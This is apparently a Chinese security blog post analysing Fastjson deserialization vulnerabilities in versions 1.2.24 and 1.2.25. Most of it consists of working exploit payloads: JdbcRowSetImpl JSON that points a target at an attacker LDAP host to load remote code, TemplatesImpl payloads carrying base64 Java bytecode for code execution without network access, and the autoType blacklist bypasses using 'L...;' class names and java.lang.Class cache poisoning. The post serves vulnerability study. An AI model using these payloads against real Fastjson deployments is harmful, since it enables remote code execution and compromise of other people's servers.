0%

Fastjson漏洞分析续1

Fastjson漏洞分析续

这篇文章分析24、25版本漏洞产生的原因以及POC。

1.2.24

1.2.24的漏洞分析,上一篇文章已经分析过了,我们来看一下exp。

出网

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx/obj","autoCommit":true}

这个poc就是利用了com.sun.rowset.JdbcRowSetImpl类的setAutoCommit和setDataSourceName。
第一步将dateSource设置为远程的值。

先走到setAutoCommit,因为conn为null,会请求connect,第二步请求loop函数。

不出网

TemplatesImpl

不出网这里利用了TemplatesImpl类去加载字节码。
先写一个正常使用TemplatesImpl执行字节码的程序;

1
2
3
4
5
6
7
8
9
10
11
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("org.fvuln.fastjson24.test");
byte[] b = cc.toBytecode();
System.out.println(JSON.toJSONString(b));

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {b});
setFieldValue(obj, "_name", "123");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.getOutputProperties();
System.out.println(JSON.toJSONString(new TransformerFactoryImpl()));

org.fvuln.fastjson24.test是一个正常的测试代码内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.fvuln.fastjson24;

/**
* author: f19t
* Date: 2023/7/19 15:46
* File: test.java
*/

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class test extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

public test() {
super();
System.out.println("test");
}
}

运行结果如下:

可以发现JSON.toJSONString会将二进制数组转换成base的编码。

然后我们构造json的exp运行一下:

1
2
3
4
5
6
7
String s = "{\n" +
"\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
"\"_bytecodes\": [ \"yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG9yZy9mdnVsbi9mYXN0anNvbjI0L3Rlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMABkAGgcAJgwAJwAoAQAEdGVzdAcAKQwAKgArAQAZb3JnL2Z2dWxuL2Zhc3Rqc29uMjQvdGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABIACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABUACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAEACQAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAoAAAAOAAMAAAAYAAQAGQAMABoACwAAAAwAAQAAAA0ADAANAAAAAQAbAAAAAgAc\"\n" +
"],\n" +
"\"_name\": \"aaa\", \"_tfactory\": {\"errorListener\":{\"$ref\":\"@\"},\"featureManager\":{}}, \"_outputProperties\": {}\n" +
"}";
JSON.parseObject(s);

发现是无法执行字节码的,这是因为之前1.2.24分析的那三个for循环只能设置public类型的值,虽然这里我们可以调用_outputProperties的get方法,但是由于_bytecodes这些都是private所以无法成功执行字节码。

1
JSON.parseObject(s, Feature.SupportNonPublicField);

这样调用就可以成功执行字节码了,盲猜是让赋值支持不是public类型的。

1.2.25

25版本对比24版本可以发现多了一个config.checkAutoType(typeName);并且默认AutoType为关闭状态。

AutoType打开时

进入到config.checkAutoType(typeName);会进行白名单检测然后进行黑名单检查,不在白名单里面的会继续向下走。如果是白名单内部的直接进行类加载,就不检测黑名单了

如果没在白名单里面,会继续走到类加载这个地方

最后return。

这里需要注意的是黑名单检测的className是我们json里面的字符串

而最终获得的类是

1
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);


调用TypeUtils.loadClass会将我们写的一些bypass给还原。

不出网poc

1
2
3
4
5
6
7
8
9
    String s = "{\n" +
"\"@type\": \"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" +
"\"_bytecodes\": [ \"yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG9yZy9mdnVsbi9mYXN0anNvbjI0L3Rlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMABkAGgcAJgwAJwAoAQAEdGVzdAcAKQwAKgArAQAZb3JnL2Z2dWxuL2Zhc3Rqc29uMjQvdGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABIACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABUACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAEACQAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAoAAAAOAAMAAAAYAAQAGQAMABoACwAAAAwAAQAAAA0ADAANAAAAAQAbAAAAAgAc\"\n" +
"],\n" +
"\"_name\": \"aaa\", \"_tfactory\": {\"errorListener\":{\"$ref\":\"@\"},\"featureManager\":{}}, \"_outputProperties\": {}\n" +
"}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(s, Feature.SupportNonPublicField);
}

出网poc

1
2
3
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s1 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://xxxx/obj\",\"autoCommit\":true}";
JSON.parseObject(s1);

AutoType关闭时

进入到config.checkAutoType(typeName);里面可以发现,当AutoType关闭时会进行黑名单与白名单检测。
默认白名单为空。

如果没有生成clazz那么就会报错退出

出网POC

先看poc

1
2
String s2 = "{{\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\" },{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://1.2.24.map.xxx.io/Object\", \"autoCommit\": true}}";
JSON.parseObject(s2);
第一个json对象

json字符串里面有两个json对象。第一个json对象首先获取到clazz=java.lang.Class。

之后通过deserializer.deserialze成obg

在deserializer.deserialze方法里面objVal变量的值设置为了com.sun.rowset.JdbcRowSetImpl

最后通过下面的方法返回获取的对象。

1
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());


这里的类也就被加到mappings里面了。

第二个json对象

还是继续走到checkAutoType,因为AutoType为false所以会直接走到下方。

走到下方的map这个位置直接就获取到clazz了,后面就没有什么了。

直接return了。

后面的过程就和1.2.24一样了。

不出网POC

1
2
3
4
5
6
7
8
9
10
String s3 = "{\n" +
" {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\" },\n" +
" {\n" +
"\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
"\"_bytecodes\": [ \"yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG9yZy9mdnVsbi9mYXN0anNvbjI0L3Rlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMABkAGgcAJgwAJwAoAQAEdGVzdAcAKQwAKgArAQAZb3JnL2Z2dWxuL2Zhc3Rqc29uMjQvdGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABIACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABUACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAEACQAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAoAAAAOAAMAAAAYAAQAGQAMABoACwAAAAwAAQAAAA0ADAANAAAAAQAbAAAAAgAc\"\n" +
"],\n" +
"\"_name\": \"aaa\", \"_tfactory\": {\"errorListener\":{\"$ref\":\"@\"},\"featureManager\":{}}, \"_outputProperties\": {}\n" +
"}\n" +
"}";
JSON.parseObject(s3, Feature.SupportNonPublicField);

还是一样需要注意设置Feature.SupportNonPublicField。